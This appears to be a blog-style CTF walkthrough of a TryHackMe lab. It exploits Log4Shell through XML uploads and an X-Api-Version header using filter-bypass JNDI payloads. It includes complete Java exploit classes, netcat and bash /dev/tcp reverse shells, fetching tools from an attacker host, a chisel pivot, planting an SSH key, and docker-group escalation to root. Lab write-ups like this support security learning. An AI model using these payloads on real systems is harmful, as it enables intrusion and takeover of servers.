One of our devs has been experimenting with webservers and wants to see if his security is up to snuff. Rumour has it he updated all his dependencies, but did something fall through the cracks?
HINT:
Get a shell and find the first flag!
This one needs some careful enumeration. My _favourite_ way to start is to walk through the application as a normal user and look everywhere. Perhaps Bob left something lying around that he shouldn't have.
First off, after we get the IP Address, let's check for all the ports and services that is running in the target machine.
Command:
sudo nmap -sC -sV -vv -T5 10.10.87.16
Output:
22/tcp open ssh syn-ack ttl 60 OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 d5:33:1f:04:50:a3:f8:9b:a5:d5:55:10:04:52:83:69 (RSA)
| ssh-rsa AAAAB3NzaC1..............
.......................F/OCncsR6
8080/tcp open http-proxy syn-ack ttl 59
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods:
|_ Supported Methods: GET
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
............
.....................</body>
|_ </html>
9090/tcp closed zeus-admin reset ttl 60
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.95%I=7%D=5/16%Time=682748AD%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,60F,"HTTP/1\.1\x2020.........................
We see that we have found 3 ports open, Port 22, Port 8080 and Port 9090.
Now, to further continue, let's go with the Web Server side of the target system.
Let's add a local domain name to the IP Address of the target system to be able to access it through the web browser.
Command:
sudo nano /etc/hosts
Add the following to the end of the file:
<--IP Address--> shaker.thm
Adding Local Domain Name
Now, let's open that in the web browser.
Address
http://shaker.thm:8080/
It looks like the website is asking for XML files and it does some kind of shacking, so, let's try that out by uploading a XML file of my own:
XML File:
<Info>
<username>Hacker</username>
<fullname>CTF</fullname>
<Password>Hacking</Password>
</Info>
After uploading the file, this is the output that we get.
And when you click on the "Download Here!" link, you can see the location of the file where it was uploaded.
Also here..... When you open the source code of the page..... we see something interesting in the comments
<!--Added some brute-force protection to the logs folder. They'll be in a folder suffixed by a totally secure random 4 digit pin -Bob--></section>
which means that there is something of a log
folder which has a random 4 digit pin as a suffix to it's name.
to track it down, let's use fuff
to look for sub-folders/files/domains of this target system.
let's look for some files
(change the location to your respective fuzzing list files)
ffuf -w ~/Pranava__Rao/Tools/Fuzzing\ List/SecLists/Discovery/Web-Content/raft-medium-files.txt -u "http://shaker.thm:8080/FUZZ"
Nothing useful...... let's go for the folders
ffuf -w ~/Pranava__Rao/Tools/Fuzzing\ List/SecLists/Discovery/Web-Content/raft-medium-directories.txt -u "http://shaker.thm:8080/FUZZ"
debug
!!! we found a debug folder, but that just redirect to the same page as to the index and no more information......
so..... let's assume now that there could be a logs folder which the tool could not find, due to the extra added suffix to the end of it.
To generate the 4 digit number, you can make use of python scripts such as below:
#!/usr/bin/python3
for i in range (0000, 10000):
print('{0:04}'.format(i))
Fuzz for the logs folder
ffuf -w ~/Pranava__Rao/Tools/Fuzzing\ List/4-D-Number.txt -u "http://shaker.thm:8080/debug/logsFUZZ"
Here we find that the secret number of the logs folder is 8171
let's brows there!
address:
http://shaker.thm:8080/debug/logs8171
Here we see all the logs of the application and the activities that was done on the web page.
Good!!!! Now, if we run down the rabbit hole with trying to exploit the XXE
Injection, we might never reach anywhere...... but, here is what is interesting to note.... after some help from the write ups and the community of the TryHackMe....
(Link to Join their Discord Server (Not sponsored, but just out of pure good will, And TryHackMe if you are reading this or watching my videos you know where to reach out to me, lol))
With all these help.... we get to know that the server in the backend is using log4j
for it's log monitoring, which gives us the right opportunity to test out for any potential log4j
exploits.
Let's setup a listener at port 1389
using netcat:
nc -lvnp 1389
then, let's try uploading this XML Files:
<Log4j>${jndi:ldap://10.17.18.22:1389/Log4Shell}</Log4j>
And we get this!!! The uploaded file contains banned content
and in the logs:
Good!! which means that there is some kind of filtering for the log4j direct exploit, but there are many bypass payloads for the same.... let's try this one out:
<Log4j>${${::-j}ndi:ldap://10.17.18.22:1389/Log4Shell}</Log4j>
But this time!!! we get the a call back!!! which proves that we can exploit the Log4j Vulnerability.
I am just following the steps form another room of TryHackMe called Solar, exploiting log4j which was written by John Hammond under the Exploitation section to set up a LDAP referral Server to direct connections to our secondary HTTP server. Please go through that room and other resources before you continue as I am am assuming you might have the right knowledge about this setup.
We will use the marshalsec
utility offered at https://github.com/mbechler/marshalsec to obtaining the LDAP Referral Server.
If you have no idea about log4j, I recommend you all to go through Solar, exploiting log4j room before solving this room, follow the steps to setup the Java 8 and marshalsec utility with the right commands
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://10.17.18.22:8000/#Exploit"
There is a small error in the screenshot above, but the commands are right, sorry for that
Now, open another terminal and let's build our payload for the java to connect to our listener, name this file as Exploit.java
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash 10.17.18.22 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
For this payload, you can see we will execute a command on the target, specifically nc -e /bin/bash to call back to our our attacker machine, hoping that the target system is configured with netcat
.
Compile your payload with javac Exploit.java -source 8 -target 8
and verify it succeeded by running the ls
command and finding a newly created Exploit.class
file
javac Exploit.java -source 8 -target 8
With your payload created and compiled, you can now host it by spinning up a temporary HTTP server.
python3 -m http.server
Now, let's setup a listener at port 9999
nc -lnvp 9999
Now, let's upload the same XML File
<Log4j>${${::-j}ndi:ldap://10.17.18.22:1389/Log4Shell}</Log4j>
AND A SAD NEWS!!!!! We see the requests and traffic of trying to connect to the listener, but no success..... which means that there might be no system utilities like netcat to be able to connect to your attacker's machine.
There is a small error in the screenshot, sorry for that
Since we know that Java exists in the system, we can try downloading, executing, assigning the right privileges, etc. using java. And that is exactly how we will install the busybox
binaries onto the target system and make it connect to us.
Before that, we need to see the location where we can download and save our binaries. so, let's upload this XML to the server and check.
<Log4j>${${::-j}ndi:ldap://10.17.18.22:1389/${env:PWD}}</Log4j>
And in the LDAP logs, we see the message:
Send LDAP reference result for /app redirecting to http://10.17.18.22:8000/Log4j.class
Good..... which means that, we can attempt to upload the binary files to the /app/uploads
To have the binaries of the busy box, we will need to download it into our attacker's machine where we have hosted the HTTP Server
and then download it in the target's system using the custom java code.
you can download the binaries to busy box from here: https://busybox.net/downloads/binaries/
We'll host it on the same folder where http server and our java exploit code are present.
Then we craft our java exploit to download busybox, change permissions, and execute a command that will give us a shell on port 9999.
import java.io.*;
import java.lang.*;
import java.nio.file.StandardCopyOption;
import java.net.URL;
import java.nio.file.Paths;
import java.nio.file.Files;
public class Exploit {
static {
try {
String ip = "ATTACKER_IP_ADDRESS";
//Download the file
String FILE_URL = "http://"+ip+":8000/busybox";
String FILE_PATH = "/app/uploads/busybox";
InputStream in = new URL(FILE_URL).openStream();
Files.copy(in, Paths.get(FILE_PATH), StandardCopyOption.REPLACE_EXISTING);
File file = new File(FILE_PATH);
//check if file exists
if(file.exists()){
//change file permissions
file.setExecutable(true);
file.setReadable(true);
file.setWritable(false);
}
//Execute a command that gives us a reverse shell
Runtime r = Runtime.getRuntime();
Process p = r.exec("/app/uploads/busybox nc "+ip+" 9999 -e /app/uploads/busybox sh");
p.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
}
Thanks to OmegaVoid's java code, all credits to where it is due.
now, let's upload the XML file to the server:
<Log4j>${${::-j}ndi:ldap://10.17.18.22:1389/Exploit}</Log4j>
We get the call back the server!!!
and we get the flag!!!!
HINT:
Can you find Bob's flag?
Rumour has it Bob was researching a certain CVE
Looking at the /
directory of the target system, we see a file called .dockerenv
which means that our current session is on a docker container.
That means we need to shift our focus onto the host system of these containers, so.... let's first get the address of the host using the busybox
binary as there are no system utilities that we can use.
./busybox ip route get 1
At this point we know that the host's address is 172.18.0.1
so, let's try downloading some static binary files of nmap
and chisel
from our host system to our target system by updating the Exploit.java
code (I will be naming this as Exploit1.java)
import java.io.*;
import java.net.URL;
import java.nio.file.Paths;
import java.nio.file.Files;
import java.nio.file.StandardCopyOption;
public class Exploit1 {
static {
try {
String ip = "ATTACKER_IP_ADDRESS";
String baseUrl = "http://" + ip + ":8000/";
String uploadPath = "/app/uploads/";
// Define tools to download
String[] tools = { "nmap", "chisel" };
for (String tool : tools) {
String fileUrl = baseUrl + tool;
String filePath = uploadPath + tool;
InputStream in = new URL(fileUrl).openStream();
Files.copy(in, Paths.get(filePath), StandardCopyOption.REPLACE_EXISTING);
in.close();
File file = new File(filePath);
if (file.exists()) {
file.setExecutable(true);
file.setReadable(true);
file.setWritable(false);
}
}
//Execute a command that gives us a reverse shell
Runtime r = Runtime.getRuntime();
Process p = r.exec("/app/uploads/busybox nc "+ip+" 9999 -e /app/uploads/busybox sh");
p.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
}
Thanks to ChatGPT
Now, compile the java code:
javac Exploit1.java -source 8 -target 8
Now, kill the current session of the reverse shell.
exit
Then, again start the LDAP referral server this time with the name Exploit1
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://10.17.18.22:8000/#Exploit1"
start a HTTP server where you have saved the namp
, chisel
and the Exploit1.class
file (you can find the binary files under the blog's sub section called tools)
Start a listener at port 9999
nc -lvnp 9999
Now, I will send the following XML file to be uploaded:
<Log4j>${${::-j}ndi:ldap://10.17.18.22:1389/Exploit1}</Log4j>
And we get a connection back!!!
Now!!! Let's start exploring it!!!
Let's scan for the ports of the target host system using the nmap
tool that we downloaded.
./nmap -p- 172.18.0.1
We see that we have got 3 ports open,
With a fair bit of understanding..... we can say that port 8080
is for port-forwarding to the container, but 8888
seems to be something new. Let's use chisel and forward this connection to our local system and try understanding it.
Let's open a new terminal and start a chisel server in our attacker's machine.
./chisel server -p 9988 -reverse
on the target system, now run the command of client to connect to the server.
./chisel client 10.17.18.22:9988 R:8888:172.18.0.1:8888
I had lost my connection, hence this is a new connection to the server
and we get the connection.
Now, let's check to see what is running on the port 8888 of the target system by browsing to the 127.0.0.1:8888
in our system.
We get an error called Whitelabel Error Page
and This error is about Spring Boot when it gets an un-handled exception occurs.
ok..... but to dig out more, let's use curl
to understand the headers of the web page.
curl -X OPTIONS http://127.0.0.1:8888 -vv
This means that it requires the header to be of X-Api-Version
, let's send a request with that header and see what we will get as an output.
curl -H 'X-Api-Version: 1' http://127.0.0.1:8888
And I was stuck here...... again with a little bit of help form the community, I got back the track...... guess what is it this time????? LOG4j
!!!!!!!!!!! lol!!
Ok..... with this hint that to go from here, we need to exploit the log4j vulnerability again..... I got thinking how? So, let's first try uploading the traditional payload of log4j to get a call back to our LDAP
server.
curl -H 'X-API-Version: ${jndi:ldap://10.17.18.22:1389/Exploit}' http://127.0.0.1:8888
and..... nothing happens
little bit of digging gets me to this...... what does that teapot
mean....??
Some websites use this response for requests they do not wish to handle, such as automated queries.
which means that there might be some kind of filters on place, let't try some other bypass methods.
curl -H 'X-API-Version: ${${::-j}ndi:${::-l}dap://10.17.18.22:1389/Exploit}' http://127.0.0.1:8888
And We get the Hello, world!
output
and we see the output here:
But, strangely, there was no request or log in our HTTP server hosting the Exploit.class.... which means that this LDAP Server will not be able to serve it. So, let's switch from using marshalsec
to using RMI server (please go through the Solar room for more details).
I will be using the JNDI-Exploit-Kit
git clone https://github.com/pimps/JNDI-Exploit-Kit.git
Now, let's run RMI Server.
java -jar target/JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -C 'bash -i &>/dev/tcp/10.17.18.22/4455 <&1' -R 10.17.18.22:1389 -O RMI
Here, I will choose the payload whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath for getting a reverse shell to the system
now, let's start a listener at port 4455
nc -lvnp 4455
So, let's send this request to the target system.
curl -H 'X-API-Version: ${${::-j}ndi:${::-r}mi://10.17.18.22:1389/zwlpep}' http://127.0.0.1:8888
And we get a shell back!!!
and we get the flog in the bob
's home folder!!
Now that you're here, go on, root me :)
First off, let's get a stable shell.
Generate a ssh key for authenticating us.
ssh-keygen -t rsa
copy the bob.pub file contents
Now, let's go with finding the .ssh
keys of bob to get a stable shell.
cd .ssh
and paste it in to the authorized_keys file
echo '--Content--' > authorized_keys
Now, let's ssh into bob's machine
ssh [email protected] -i bob
Now!!! When we run the ID command, we see that the user bob is part of the docker
group, which means that we have access to the docker containers.
id
let's check for the docker containers
docker images
ha!!! We get the shaker image to be present!!! Now, let's access the container with the root access:
docker run -v /:/mnt --rm --user root:root -it shaker /bin/sh
and there we go!!!! found our fag!!!!!!
Thanks to all the support from TryHackMe's Discord members...